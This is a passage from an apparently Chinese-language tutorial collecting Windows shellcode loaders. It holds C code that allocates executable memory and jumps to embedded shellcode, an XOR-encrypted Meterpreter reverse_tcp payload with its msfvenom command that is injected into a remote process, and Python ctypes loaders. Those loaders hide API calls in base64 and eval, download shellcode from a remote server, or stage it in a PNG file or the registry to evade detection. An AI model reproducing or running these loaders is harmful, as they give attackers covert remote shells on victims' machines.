31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\
xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48
\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb
8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\x
ff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\
x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00
\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x33\x39\x2e\x31\x3
5\x35\x2e\x34\x39\x2e\x34\x33\x00\x00\x00\x00\x00";

int main() {
    // 获取 VirtualAlloc 函数指针
    LPVOID lp =
GetProcAddress(LoadLibraryA("kernel32.dll"),
"VirtualAlloc");
    size_t dw_size = sizeof(buf);
    void* exec = NULL;
    // 调用virtualalloc的参数从后往前依次压入栈中，最后将
VirtualAlloc的函数指针放入eax，然后call eax。这里
VirtualAlloc返回分配的内存指针，返回值放在eax中，然后把eax的值
保存到遍历exec里供之后使用
    __asm
    {
        push 0x40;
        push 0x1000;
        mov eax,dw_size;
        push eax;
        push 0;
        mov eax, lp;
        call eax;
        mov exec, eax;
    }
    // 获取RtlMoveMemory的函数指针
```

```
25      LPVOID op =
    GetProcAddress(LoadLibraryA("kernel32.dll"),
    "RtlMoveMemory");
26
27      // 将RtlMoveMemory的参数从后往前依次入栈，最后把
    RtlMoveMemory的指针放到eax,再call eax
28      __asm
29      {
30          mov eax, dw_size;
31          push eax;
32          lea eax, buf
33          push eax
34          mov ecx, exec
35          push ecx
36          mov eax, op;
37          call eax;
38      }
39
40      // 跳转到之前分配的内存中执行
41      __asm
42      {
43          jmp exec;
44      }
45      return 0;
46  }
```

C语言函数调用预定：http://www.pingtaimeng.com/article/detail/id/721649

计算机提供了一种被称为栈的数据结构来支持参数传递。

栈是一种先进后出的数据结构，栈有一个存储区、一个栈顶指针。栈顶指针指向堆栈中第一个可用的数据项（被称为栈顶）。用户可以在栈顶上方向栈中加入数据，这个操作被称为压栈(Push)，压栈以后，栈顶自动变成新加入数据项的位置，栈顶指针也随之修改。用户也可以从堆栈中取走栈顶，称为弹出栈(pop)，弹出栈后，栈顶下的一个元素变成栈顶，栈顶指针随之修改。

函数调用时，调用者依次把参数压栈，然后调用函数，函数被调用以后，在堆栈中取得数据，并进行计算。函数计算结束以后，或者调用者、或者函数本身修改堆栈，使堆栈恢复原装。

InjectShellcodeXor

```
#include <stdio.h>
#include <windows.h>
#include <errno.h>
#include <limits.h>
#include <stdlib.h>

// msf生成shellcode: msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.81.234 lport=7890 -f c -o raw.c
// 使用xor加密Shellcode

```

```
unsigned char buf[] =
"\x56\xe2\x29\x4e\x5a\x42\x66\xaa\xaa\xaa\xeb\xfb\xeb\x
fa\xf8\xe2\x9b\x78\xcf\xe2\x21\xf8\xca\xe2\x21\xf8\xb2\
xfb\xe2\x21\xf8\x8a\xfc\xe2\x21\xd8\xfa\xe7\x9b\x63\xe2
\xa5\x1d\xe0\xe0\xe2\x9b\x6a\x6\x96\xcb\xd6\xa8\x86\x8a
\xeb\x6b\x63\xa7\xeb\xab\x6b\x48\x47\xf8\xeb\xfb\xe2\x2
1\xf8\x8a\x21\xe8\x96\xe2\xab\x7a\xcc\x2b\xd2\xb2\xa1\x
a8\xa5\x2f\xd8\xaa\xaa\xaa\x21\x2a\x22\xaa\xaa\xaa\xe2\
x2f\x6a\xde\xcd\xe2\xab\x7a\xfa\x21\xe2\xb2\xee\x21\xea
\x8a\xe3\xab\x7a\x49\xfc\xe2\x55\x63\xeb\x21\x9e\x22\xe
2\xab\x7c\xe7\x9b\x63\xe2\x9b\x6a\x6\xeb\x6b\x63\xa7\xe
b\xab\x6b\x92\x4a\xdf\x5b\xe6\xa9\xe6\x8e\xa2\xef\x93\x
7b\xdf\x72\xf2\xee\x21\xea\x8e\xe3\xab\x7a\xcc\xeb\x21\
xa6\xe2\xee\x21\xea\xb6\xe3\xab\x7a\xeb\x21\xae\x22\xe2
\xab\x7a\xeb\xf2\xeb\xf2\xf4\xf3\xf0\xeb\xf2\xeb\xf3\xe
b\xf0\xe2\x29\x46\x8a\xeb\xf8\x55\x4a\xf2\xeb\xf3\xf0\x
e2\x21\xb8\x43\xe1\x55\x55\x55\xf7\xe3\x14\xdd\xd9\x98\
xf5\x99\x98\xaa\xaa\xeb\xfc\xe3\x23\x4c\xe2\x2b\x46\xa\
xab\xaa\xaa\xe3\x23\x4f\xe3\x16\xa8\xaa\xb4\x78\x6a\x2\
xfb\x40\xeb\xfe\xe3\x23\x4e\xe6\x23\x5b\xeb\x10\xe6\xdd
\x8c\xad\x55\x7f\xe6\x23\x40\xc2\xab\xab\xaa\xaa\xf3\xe
b\x10\x83\x2a\xc1\xaa\x55\x7f\xc0\xa0\xeb\xf4\xfa\xfa\x
e7\x9b\x63\xe7\x9b\x6a\xe2\x55\x6a\xe2\x23\x68\xe2\x55\
x6a\xe2\x23\x6b\xeb\x10\x40\xa5\x75\x4a\x55\x7f\xe2\x23
\x6d\xc0\xba\xeb\xf2\xe6\x23\x48\xe2\x23\x53\xeb\x10\x3
3\xf\xde\xcb\x55\x7f\x2f\x6a\xde\xa0\xe3\x55\x64\xdf\x4
f\x42\x39\xaa\xaa\xaa\xe2\x29\x46\xba\xe2\x23\x48\xe7\x
9b\x63\xc0\xae\xeb\xf2\xe2\x23\x53\xeb\x10\xa8\x73\x62\
xf5\x55\x7f\x29\x52\xaa\xd4\xff\xe2\x29\x6e\x8a\xf4\x23
\x5c\xc0\xea\xeb\xf3\xc2\xaa\xba\xaa\xaa\xeb\xf2\xe2\x2
3\x58\xe2\x9b\x63\xeb\x10\xf2\xe\xf9\x4f\x55\x7f\xe2\x2
3\x69\xe3\x23\x6d\xe7\x9b\x63\xe3\x23\x5a\xe2\x23\x70\x
e2\x23\x53\xeb\x10\xa8\x73\x62\xf5\x55\x7f\x29\x52\xaa\
xd7\x82\xf2\xeb\xfd\xf3\xc2\xaa\xea\xaa\xaa\xeb\xf2\xc0
\xaa\xf0\xeb\x10\xa1\x85\xa5\x9a\x55\x7f\xfd\xf3\xeb\x1
0\xdf\xc4\xe7\xcb\x55\x7f\xe3\x55\x64\x43\x96\x55\x55\x
55\xe2\xab\x69\xe2\x83\x6c\xe2\x2f\x5c\xdf\x1e\xeb\x55\
x4d\xf2\xc0\xaa\xf3\xe3\x6d\x68\x5a\x1f\x8\xfc\x55\x7f"
;

BOOL InjectShellCode(int Pid)
{
    HANDLE Handle, remoteThread;
    PVOID remoteBuffer;

```

```
17      int password = 0xAA;
18      unsigned char ShellCode[10000];
19      int nLen = sizeof(buf) - 1;
20      for (int i = 0; i<nLen; i++)
21      {
22          ShellCode[i] = buf[i] ^ password;
23  //      printf("\\x%x", ShellCode[i]);
24      }
25
26      printf("shellcode loding~");
27
28      Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
    Pid);
29
30      remoteBuffer = VirtualAllocEx(Handle, NULL,
    sizeof(ShellCode), (MEM_RESERVE | MEM_COMMIT),
    PAGE_EXECUTE_READWRITE);
31      WriteProcessMemory(Handle, remoteBuffer, ShellCode,
    sizeof(ShellCode), NULL);
32      remoteThread = CreateRemoteThread(Handle, NULL, 0,
    (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
33      CloseHandle(Handle);
34  }
35
36  int main(int argc, char *argv[])
37  {
38      char *p;
39      int pid;
40      errno = 0;
41      long conv = strtol(argv[1], &p, 10);
42
43      // 检查错误：例如，输入的是字符串而不是整数，或者输入的整数
    超过int范围
44      if (errno ≠ 0 || *p ≠ '\0' || conv > INT_MAX ||
    conv < INT_MIN) {
45          return 1;
46      } else {
47          pid = conv;
48          printf("%d\n", pid);
49      }
50      InjectShellCode(pid);
51      return 0;
52  }
```

```
InjectXor.exe pid

InjectXor.exe 18040
```

Python加载Shellcode

base_loader.py

```
# coding: utf-8

import ctypes
import sys
import base64

shellcode = bytearray(bytes.fromhex(sys.argv[1]))

ctypes.windll.kernel32.VirtualAlloc.restype =
ctypes.c_uint64
ptr =
ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))

buf = (ctypes.c_char *
len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)

handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)

```

```
# handle =
ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0),
ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int
(handle),ctypes.c_int(-1))
```

loader_ms.py

```
# coding: utf-8

import ctypes
import sys
import base64

shellcode = bytearray(bytes.fromhex(sys.argv[1]))

ctypes.windll.kernel32.VirtualAlloc.restype =
ctypes.c_uint64
ptr =
ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))

buf = (ctypes.c_char *
len(shellcode)).from_buffer(shellcode)

rtm =
b"Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0e
XBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4o
c2hlbGxjb2RlKSkp"
eval(str(base64.b64decode(rtm),'utf-8'))

ct =
b"Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5c
GVzLmNfaW50KDApLCBjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX3Vp
bnQ2NChwdHIpLCBjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludCg
wKSwgY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSk="
handle = eval(str(base64.b64decode(ct), 'utf-8'))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int
(handle),ctypes.c_int(-1))
```

loader_b64.py

```python
import base64
import codecs
import ctypes
# base64加密shellcode \xfc\x48\x83\xe4\xf0......\xa2\x56\xff\xd5
shellcode = "XHhmY1......ZmZceGQ1"
shellcode = base64.b64decode(shellcode)
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# shellcode = bytearray(codecs.escape_decode(base64.b64decode(shellcode))[0])

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

rtm = b"Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp"
eval(str(base64.b64decode(rtm),'utf-8'))

ct = b"Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5cGVzLmNfaW50KDApLCBjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSk="
handle = eval(str(base64.b64decode(ct), 'utf-8'))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
```

loader_http.py

```python
import base64
import codecs
import ctypes
import requests

# base64加密shellcode
shell = requests.get('http://ip:8000/1.txt')
shellcode = base64.b64decode(shell.text)
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# shellcode = bytearray(codecs.escape_decode(base64.b64decode(shellcode))[0])

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

rtm = b"Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp"
eval(str(base64.b64decode(rtm),'utf-8'))

ct = b"Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5cGVzLmNfaW50KDApLCBjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSk="
handle = eval(str(base64.b64decode(ct), 'utf-8'))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
```

loader_png.py

```
import ctypes
import base64
import codecs

# 打开文件读取shellcode，并转换为字节类型
shellf = open("payload.png", "rb")
shellcode = shellf.read()
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64;
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40));
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode);
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
```

loader_reg.py

```
import ctypes
from ctypes import *
from ctypes.wintypes import *

buf = b"\xfc\x48\x83\xe4\xf0"

# 通过 ctypes 库调用 RegQueryValueExA 函数实现上线 cs
# RegSetValueExA 函数在Advapi32.dll库中，可以设置注册表项下指定值的数据和类型
```

```
# https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexa

# LSTATUS RegSetValueExA(
#   HKEY       hKey, // 注册表HKLM_CURRWNT_USER -2147483647
#   LPCSTR     lpValueName, // 注册表项中新建的值
#   DWORD      Reserved,
#   DWORD      dwType, // 值的类型，存储二进制，值类型为REG_BINARY python中为3
#   const BYTE *lpData, // 写入的数据，写入shellcode
#   DWORD      cbData  // 数据大小
# );

ctypes.windll.Advapi32.RegSetValueExA(-2147483647, "test", None, 3, buf, len(buf))

# 根据需要的指针类型将内存改为LPBYTE的指针
LPBYTE = POINTER(c_byte)
ctypes.windll.kernel32.VirtualAlloc.restype = LPBYTE
ptr = ctypes.windll.kernel32.VirtualAlloc(0, 800, 0x3000, 0x40)
data_len = DWORD()

# RegQueryValueExA 函数，用于检索与打开的注册表项关联的指定值名称的类型和数据
# https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regqueryvalueexa
# LSTATUS RegQueryValueExA(
#   HKEY    hKey,
#   LPCSTR  lpValueName,
#   LPDWORD lpReserved,
#   LPDWORD lpType,
#   LPBYTE  lpData, // 接收查询到的shellcode
#   LPDWORD lpcbData  // shellcode长度,
# );

# 执行 RegQueryValueExA 来获取shellcode长度
ctypes.windll.Advapi32.RegQueryValueExA(-2147483647, "test", 0, 0, 0, byref(data_len))

# 执行 RegQueryValueExA 读shellcode到申请的内存
ctypes.windll.Advapi32.RegQueryValueExA(-2147483647, "test", 0, None, ptr, byref(data_len))

```

```
# 删除注册表中创建的值
ctypes.windll.Advapi32.RegDeleteValueA(-2147483647, "test")

# 创建线程执行 shellcode
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
```

loader_re.py

```
import base64
import ctypes
import codecs

# 此shellcode的值是反转后的值
# msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=xx.xx.xx.xx LPORT=4441 -f raw | xxd -ps
shellcode = 
'5dff652a5b0f2c7c949500a6857eff14f5bd579cff841cff941103140141a81481412014004188148141681400
41a81400c120140cefbd13843e570cef00418814814168140041a81461c120f02e082c988400c12014bd1384bf57
0cefaa8f98940c1384e580e38ebca701359c06350d2ae786a243000000018e6514951495f5ef98943b576c92843c
1084fffffff029eecff945dff16d4e657ab1495755dff03f0f2b0ab14a500a6851400000400869575148582d7008
f38024c38845dfff58c9d20ab149f9884ad98840f98949c13d4056535fd98940000100089d8845dff5e354a85ab1
49c13842f9884851400000100869514040a60000100e9d8c43d2a500a6f186f98e5024c3884000000d6e8f0008f3
85dfff58c9d20ab149f9884851440a69c13d42e988401ce3884000010f18e5e57ecff94a0470c585dff16475a99a
b149f98842e98c4851401a67c98845dff0efdf0aeab141c98840cff842c98840cff840c13d49c13d40505e514a0a
65dff00b60892ab14950000101086ae98c45dff706277c4ab141f98c44e98944514adfad27795110020cb945e98
940000100ace18846e98946514000023 33f5233777eb94d5ffffffb49e21b884a59514850eff251402ce3884a5
1495148514a595e5851485140d10848840b8140d1094c104b84484c0b814660d10944204b844858d571d93548042
c430c41f570e831c1014cad09c1c140c13846d10848843b8149cff849c13d4653e0d10940204b8448184b8050d10
8476470c58840000008808b80000002758f020b0818718660d1084c324b80225b884151425de2e1c1014d09c1c1
402c220c716c3ca0c13849c13d4a4a47bf0840527b8840225b8848125b8840625b88456652d13841525051415140
00000cc8e0f4e3884cf'

```

```
#使用字符串切片将shellcode反转
shellcode = shellcode[::-1]
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype =
ctypes.c_uint64
# 将shellcode转为16进制
shellcode = bytes().fromhex(shellcode)
#将转义字符去掉\ 并取0位
shellcode = codecs.escape_decode(shellcode)[0]
#将shellcode转为字节类型
shellcode = bytearray(shellcode)
#申请内存并设置该内存可读可写可执行
ptr =
ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
ctypes.c_int(0x40))

# 调用RtlMoveMemory函数从指定内存中复制内容至另一内存
buf = (ctypes.c_char *
len(shellcode)).from_buffer(shellcode)
string =
'''Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KA0K
ICAgIGN0eXBlcy5jX3VpbnQ2NChwdHIpLA0KICAgIGJ1ZiwNCiAgICB
jdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpDQop'''
exec(base64.b64decode(string))


# 创建一个线程从shellcode放置位置开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int
(handle),ctypes.c_int(-1))
```